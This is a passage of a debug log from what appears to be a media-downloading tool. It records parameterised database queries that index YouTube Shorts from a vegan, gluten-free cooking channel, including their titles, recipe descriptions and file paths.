#shorts [QXmocYRNUFc].NA", false, false, true, 2, ~U[2022-05-28 23:30:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "It's ok Jerry Seinfeld, salads can be healthy, delicious and even cool these days. Try our vegan and gluten free nicoise salad that's more than \"just a salad.\"\n\nFull Recipe Video: https://youtu.be/Ztps-dPnqW8", "A salad that's more than \"just a salad\" as Jerry Seinfeld said it #shorts", 1, 12, false, "QXmocYRNUFc", "https://www.youtube.com/shorts/QXmocYRNUFc", "/downloads/downloads/alec/Steamy Vegan/2022-05-28 A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts/A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts [QXmocYRNUFc].NA", true, ~U[2022-05-28 23:30:02Z]] 20:31:10.971 [debug] QUERY OK source="sources" db=0.8ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.974 [debug] QUERY OK source="media_items" db=2.3ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-28 14:15:00Z], 1] 20:31:10.975 [debug] QUERY OK source="media_items" db=0.8ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Just like Homer Simpson, I love making foods into simple grab and go bar form. Hopefully you find some of my vegan and gluten free foods that I've created a little more healthy then what Homer Simpson is eating.\n\nMy Protein Bars Recipe: https://youtu.be/ZjO06fyfHLc\nMy Breakfast Bars Recipe: https://youtu.be/rbG65z34oOI", "Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts", "f1fe4625-4b8f-475b-99b4-7ccf359c9da1", 1, [], 23, false, "HvlGsy4EeVQ", "https://www.youtube.com/shorts/HvlGsy4EeVQ", 415, "/downloads/downloads/alec/Steamy Vegan/2022-05-28 Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts/Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts [HvlGsy4EeVQ].NA", false, false, true, 2, ~U[2022-05-28 14:15:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Just like Homer Simpson, I love making foods into simple grab and go bar form. Hopefully you find some of my vegan and gluten free foods that I've created a little more healthy then what Homer Simpson is eating.\n\nMy Protein Bars Recipe: https://youtu.be/ZjO06fyfHLc\nMy Breakfast Bars Recipe: https://youtu.be/rbG65z34oOI", "Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts", 1, 23, false, "HvlGsy4EeVQ", "https://www.youtube.com/shorts/HvlGsy4EeVQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-28 Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts/Homer Simpson Thinks Every Food Should Be In Bar Form and We Agree! #shorts [HvlGsy4EeVQ].NA", true, ~U[2022-05-28 14:15:00Z]] 20:31:10.976 [debug] QUERY OK source="sources" db=0.6ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.978 [debug] QUERY OK source="media_items" db=1.9ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-27 23:45:01Z], 1] 20:31:10.980 [debug] QUERY OK source="media_items" db=1.6ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis easy vegan and gluten-free pasta is an absolute must try, especially in the spring or summer. If you get yourself some chickpea or soybean pasta noodles you'll also give this pasta an extra protein boost.\n\nDon't forget to subscribe for more daily, easy, vegan and gluten free recipes!!!", "Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts", "1e869e19-83dc-436d-a864-b613a38004ce", 1, [], 31, false, "cRBlvuzgV6o", "https://www.youtube.com/shorts/cRBlvuzgV6o", 416, "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts/Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts [cRBlvuzgV6o].NA", false, false, true, 4, ~U[2022-05-27 23:45:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis easy vegan and gluten-free pasta is an absolute must try, especially in the spring or summer. If you get yourself some chickpea or soybean pasta noodles you'll also give this pasta an extra protein boost.\n\nDon't forget to subscribe for more daily, easy, vegan and gluten free recipes!!!", "Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts", 1, 31, false, "cRBlvuzgV6o", "https://www.youtube.com/shorts/cRBlvuzgV6o", "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts/Vegan Buttery Sage Fettuccine - My New Favorite GF+Vegan Pasta That I Eat Every Week! #shorts [cRBlvuzgV6o].NA", true, ~U[2022-05-27 23:45:01Z]] 20:31:10.983 [debug] QUERY OK source="sources" db=0.3ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.985 [debug] QUERY OK source="media_items" db=2.0ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-27 19:00:07Z], 1] 20:31:10.986 [debug] QUERY OK source="media_items" db=0.7ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free recipe is inspired by everyone's favorite indian butter chicken dish. Using many of the spices found in butter chicken, I was able to use chickpeas and coconut rice to make something absolutely delicious. I eat this as part of my vegan and gluten free diet at least once every 2 weeks.\n\nFull Video Here: https://youtu.be/bLLYMaH7l4o", "Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts", "42fdd1c6-483f-4ab5-b659-c14330187cf1", 1, [], 38, false, "St8suRJ0u4s", "https://www.youtube.com/shorts/St8suRJ0u4s", 417, "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts/Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts [St8suRJ0u4s].NA", false, false, true, 4, ~U[2022-05-27 19:00:07Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This vegan and gluten free recipe is inspired by everyone's favorite indian butter chicken dish. Using many of the spices found in butter chicken, I was able to use chickpeas and coconut rice to make something absolutely delicious. I eat this as part of my vegan and gluten free diet at least once every 2 weeks.\n\nFull Video Here: https://youtu.be/bLLYMaH7l4o", "Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts", 1, 38, false, "St8suRJ0u4s", "https://www.youtube.com/shorts/St8suRJ0u4s", "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts/Butter Chicken Done Vegan and Gluten Free - Butter Chickpeas #shorts [St8suRJ0u4s].NA", true, ~U[2022-05-27 19:00:07Z]] 20:31:10.987 [debug] QUERY OK source="sources" db=0.6ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.989 [debug] QUERY OK source="media_items" db=1.7ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-27 14:30:15Z], 1] 20:31:10.990 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This combination of everyone's go-to pasta mixed with a mexican fajita veggie blend and spices is absolutely delicious. I've made my fajita pasta vegan, gluten-free and packed full of protein with chickpea pasta noodles.\n\nFull Recipe Video: https://youtu.be/5KuWGZ9N85g", "Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts", "7ea1dcdf-7446-4907-8cc8-aeaa36fbf080", 1, [], 37, false, "nqrltg83M74", "https://www.youtube.com/shorts/nqrltg83M74", 418, "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts/Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts [nqrltg83M74].NA", false, false, true, 4, ~U[2022-05-27 14:30:15Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This combination of everyone's go-to pasta mixed with a mexican fajita veggie blend and spices is absolutely delicious. I've made my fajita pasta vegan, gluten-free and packed full of protein with chickpea pasta noodles.\n\nFull Recipe Video: https://youtu.be/5KuWGZ9N85g", "Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts", 1, 37, false, "nqrltg83M74", "https://www.youtube.com/shorts/nqrltg83M74", "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts/Italian Mexican Food Fusion Masterpiece - Fajita Pasta #shorts [nqrltg83M74].NA", true, ~U[2022-05-27 14:30:15Z]] 20:31:10.991 [debug] QUERY OK source="sources" db=0.7ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.993 [debug] QUERY OK source="media_items" db=2.1ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-27 00:00:00Z], 1] 20:31:10.994 [debug] QUERY OK source="media_items" db=0.9ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Absolutely love bringing this salad to BBQs, picnics, or just making a big batch at home to eat throught the week. It's a vegan and gluten-free pesto quinoa bean salad and it's a great choice to add into your weekly meal preparation!\n\nFull Recipe: https://youtu.be/ynFymKYA6-o", "Summer Pesto Quinoa Bean Salad #shorts", "cbe73611-e9fe-406e-b104-b1ea8f09bb81", 1, [], 22, false, "aY-Kpmo5x40", "https://www.youtube.com/shorts/aY-Kpmo5x40", 419, "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Summer Pesto Quinoa Bean Salad #shorts/Summer Pesto Quinoa Bean Salad #shorts [aY-Kpmo5x40].NA", false, false, true, 4, ~U[2022-05-27 00:00:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Absolutely love bringing this salad to BBQs, picnics, or just making a big batch at home to eat throught the week. It's a vegan and gluten-free pesto quinoa bean salad and it's a great choice to add into your weekly meal preparation!\n\nFull Recipe: https://youtu.be/ynFymKYA6-o", "Summer Pesto Quinoa Bean Salad #shorts", 1, 22, false, "aY-Kpmo5x40", "https://www.youtube.com/shorts/aY-Kpmo5x40", "/downloads/downloads/alec/Steamy Vegan/2022-05-27 Summer Pesto Quinoa Bean Salad #shorts/Summer Pesto Quinoa Bean Salad #shorts [aY-Kpmo5x40].NA", true, ~U[2022-05-27 00:00:00Z]] 20:31:10.996 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.998 [debug] QUERY OK source="media_items" db=1.8ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-26 19:30:01Z], 1] 20:31:11.000 [debug] QUERY OK source="media_items" db=1.8ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Curried Green Beans with Tomatoes & Chickpeas! 😋 featuring delicious produce from my fave @pekoproduce! \n\nWho else has got onions, tomatoes and green beans in their Peko boxes recently? I had some beans from my last box that needed to get used up so adding them into this curry with my other ‘rescued’ tomatoes and onions worked out DELICIOUSLY! \n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\n1 can of chickpeas, drained + rinsed\n1 lb. French green beans (rescued!) ends trimmed\n1 28 oz. can diced tomatoes \n1-2 tomatoes on vine (rescued!) diced\n1 small onion (rescued!) diced\n5-6 cloves roasted garlic, mashed with fork\n1/3 - 1/2 cup coconut milk\n2 tbsp oil (or 1/4 water for oil free)\n\nSPICES\n1 tsp Coriander\n2 tsp Chilli powder\n1 tsp Cumin\n1 tsp Garlic powder\n1.5 tsp Paprika\n1 tsp ginger\n1 tsp Cinnamon\n1 tsp Turmeric\nBlack pepper and salt to taste\n\nSautee the onions and roasted garlic in the oil/water until soft and translucent — add the spices and mix thoroughly, letting them toast for 2 minutes — add the chickpeas, green beans, fresh and canned tomatoes and coconut milk, stir to combine, cover until bubbling on medium-high heat— once bubbling remove lid and turn down to medium heat — let simmer for 12-15 minutes until sauce has slightly thickened and darkened in colour — serve over grain of choice and enjoy!\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my Instagram bio @steamyvegan for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #pekoproduce #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "Curry in a hurry! Make this when ya got no time for dinner ☺️", "b5ea19df-d285-4e57-9e9c-e53c51c6ccff", 1, [], 15, false, "TBrA1d-dzqs", "https://www.youtube.com/shorts/TBrA1d-dzqs", 420, "/downloads/downloads/alec/Steamy Vegan/2022-05-26 Curry in a hurry! Make this when ya got no time for dinner ☺️/Curry in a hurry! Make this when ya got no time for dinner ☺️ [TBrA1d-dzqs].NA", false, false, true, 3, ~U[2022-05-26 19:30:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Curried Green Beans with Tomatoes & Chickpeas! 😋 featuring delicious produce from my fave @pekoproduce! \n\nWho else has got onions, tomatoes and green beans in their Peko boxes recently? I had some beans from my last box that needed to get used up so adding them into this curry with my other ‘rescued’ tomatoes and onions worked out DELICIOUSLY! \n\nSAVE THIS RECIPE FOR LATER! ✔️ \n\n1 can of chickpeas, drained + rinsed\n1 lb. French green beans (rescued!) ends trimmed\n1 28 oz. can diced tomatoes \n1-2 tomatoes on vine (rescued!) diced\n1 small onion (rescued!) diced\n5-6 cloves roasted garlic, mashed with fork\n1/3 - 1/2 cup coconut milk\n2 tbsp oil (or 1/4 water for oil free)\n\nSPICES\n1 tsp Coriander\n2 tsp Chilli powder\n1 tsp Cumin\n1 tsp Garlic powder\n1.5 tsp Paprika\n1 tsp ginger\n1 tsp Cinnamon\n1 tsp Turmeric\nBlack pepper and salt to taste\n\nSautee the onions and roasted garlic in the oil/water until soft and translucent — add the spices and mix thoroughly, letting them toast for 2 minutes — add the chickpeas, green beans, fresh and canned tomatoes and coconut milk, stir to combine, cover until bubbling on medium-high heat— once bubbling remove lid and turn down to medium heat — let simmer for 12-15 minutes until sauce has slightly thickened and darkened in colour — serve over grain of choice and enjoy!\n\nThank you once again to @pekoproduce for keeping fantastic quality produce out of our landfills and putting it on your community members tables instead. If you want to take part in Peko’s mission to reduce food waste (which is a leading contributor to the climate crises) all while saving money on your next grocery bill — because HELLO increased food costs 😩— then check out my Instagram bio @steamyvegan for a $5 coupon for your first box of produce! 🌱🌱\n\n#steamyvegankitchen #steamyvegan #pekoproduce #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "Curry in a hurry! Make this when ya got no time for dinner ☺️", 1, 15, false, "TBrA1d-dzqs", "https://www.youtube.com/shorts/TBrA1d-dzqs", "/downloads/downloads/alec/Steamy Vegan/2022-05-26 Curry in a hurry! Make this when ya got no time for dinner ☺️/Curry in a hurry! Make this when ya got no time for dinner ☺️ [TBrA1d-dzqs].NA", true, ~U[2022-05-26 19:30:01Z]] 20:31:11.001 [debug] QUERY OK source="sources" db=0.6ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.003 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-26 12:45:00Z], 1] 20:31:11.004 [debug] QUERY OK source="media_items" db=0.6ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I love eating toast but just putting butter on it just doesn't fill me up so I like to make my quick and easy breakfast toast a few healthier ways. These are all vegan and gluten-free toast recipes and you can see the full recipe video below or subscribe and check out all my different easy vegan and gluten-free recipes!\n\nFull Recipe Video: https://youtu.be/IimdaH0kc8I", "My Favorite Ways to Make My Toast Healthier for Breakfast #shorts", "294bcf0f-9a29-4e2f-a4ba-b2ffd8d8ab02", 1, [], 45, false, "3YLLa-eeGlI", "https://www.youtube.com/shorts/3YLLa-eeGlI", 421, "/downloads/downloads/alec/Steamy Vegan/2022-05-26 My Favorite Ways to Make My Toast Healthier for Breakfast #shorts/My Favorite Ways to Make My Toast Healthier for Breakfast #shorts [3YLLa-eeGlI].NA", false, false, true, 3, ~U[2022-05-26 12:45:00Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "I love eating toast but just putting butter on it just doesn't fill me up so I like to make my quick and easy breakfast toast a few healthier ways. These are all vegan and gluten-free toast recipes and you can see the full recipe video below or subscribe and check out all my different easy vegan and gluten-free recipes!\n\nFull Recipe Video: https://youtu.be/IimdaH0kc8I", "My Favorite Ways to Make My Toast Healthier for Breakfast #shorts", 1, 45, false, "3YLLa-eeGlI", "https://www.youtube.com/shorts/3YLLa-eeGlI", "/downloads/downloads/alec/Steamy Vegan/2022-05-26 My Favorite Ways to Make My Toast Healthier for Breakfast #shorts/My Favorite Ways to Make My Toast Healthier for Breakfast #shorts [3YLLa-eeGlI].NA", true, ~U[2022-05-26 12:45:00Z]] 20:31:11.005 [debug] QUERY OK source="sources" db=0.6ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.007 [debug] QUERY OK source="media_items" db=1.4ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-25 23:45:00Z], 1] 20:31:11.008 [debug] QUERY OK source="media_items" db=0.5ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I absolutely love this plant-based basil pesto. I put this easy-to-make pesto on pasta, tortilla chips, gluten-free bread, and the list goes on. \n- Full Recipe Video: https://youtu.be/ynFymKYA6-o", "This Pesto Will Change Your Life! #shorts", "49951230-f271-423e-8a49-0c9ca42aed0c", 1, [], 39, false, "81fIIv52AMk", "https://www.youtube.com/shorts/81fIIv52AMk", 422, "/downloads/downloads/alec/Steamy Vegan/2022-05-25 This Pesto Will Change Your Life! #shorts/This Pesto Will Change Your Life! #shorts [81fIIv52AMk].NA", false, false, true, 4, ~U[2022-05-25 23:45:00Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "I absolutely love this plant-based basil pesto. I put this easy-to-make pesto on pasta, tortilla chips, gluten-free bread, and the list goes on. \n- Full Recipe Video: https://youtu.be/ynFymKYA6-o", "This Pesto Will Change Your Life! #shorts", 1, 39, false, "81fIIv52AMk", "https://www.youtube.com/shorts/81fIIv52AMk", "/downloads/downloads/alec/Steamy Vegan/2022-05-25 This Pesto Will Change Your Life! #shorts/This Pesto Will Change Your Life! #shorts [81fIIv52AMk].NA", true, ~U[2022-05-25 23:45:00Z]] 20:31:11.008 [debug] QUERY OK source="sources" db=0.5ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM 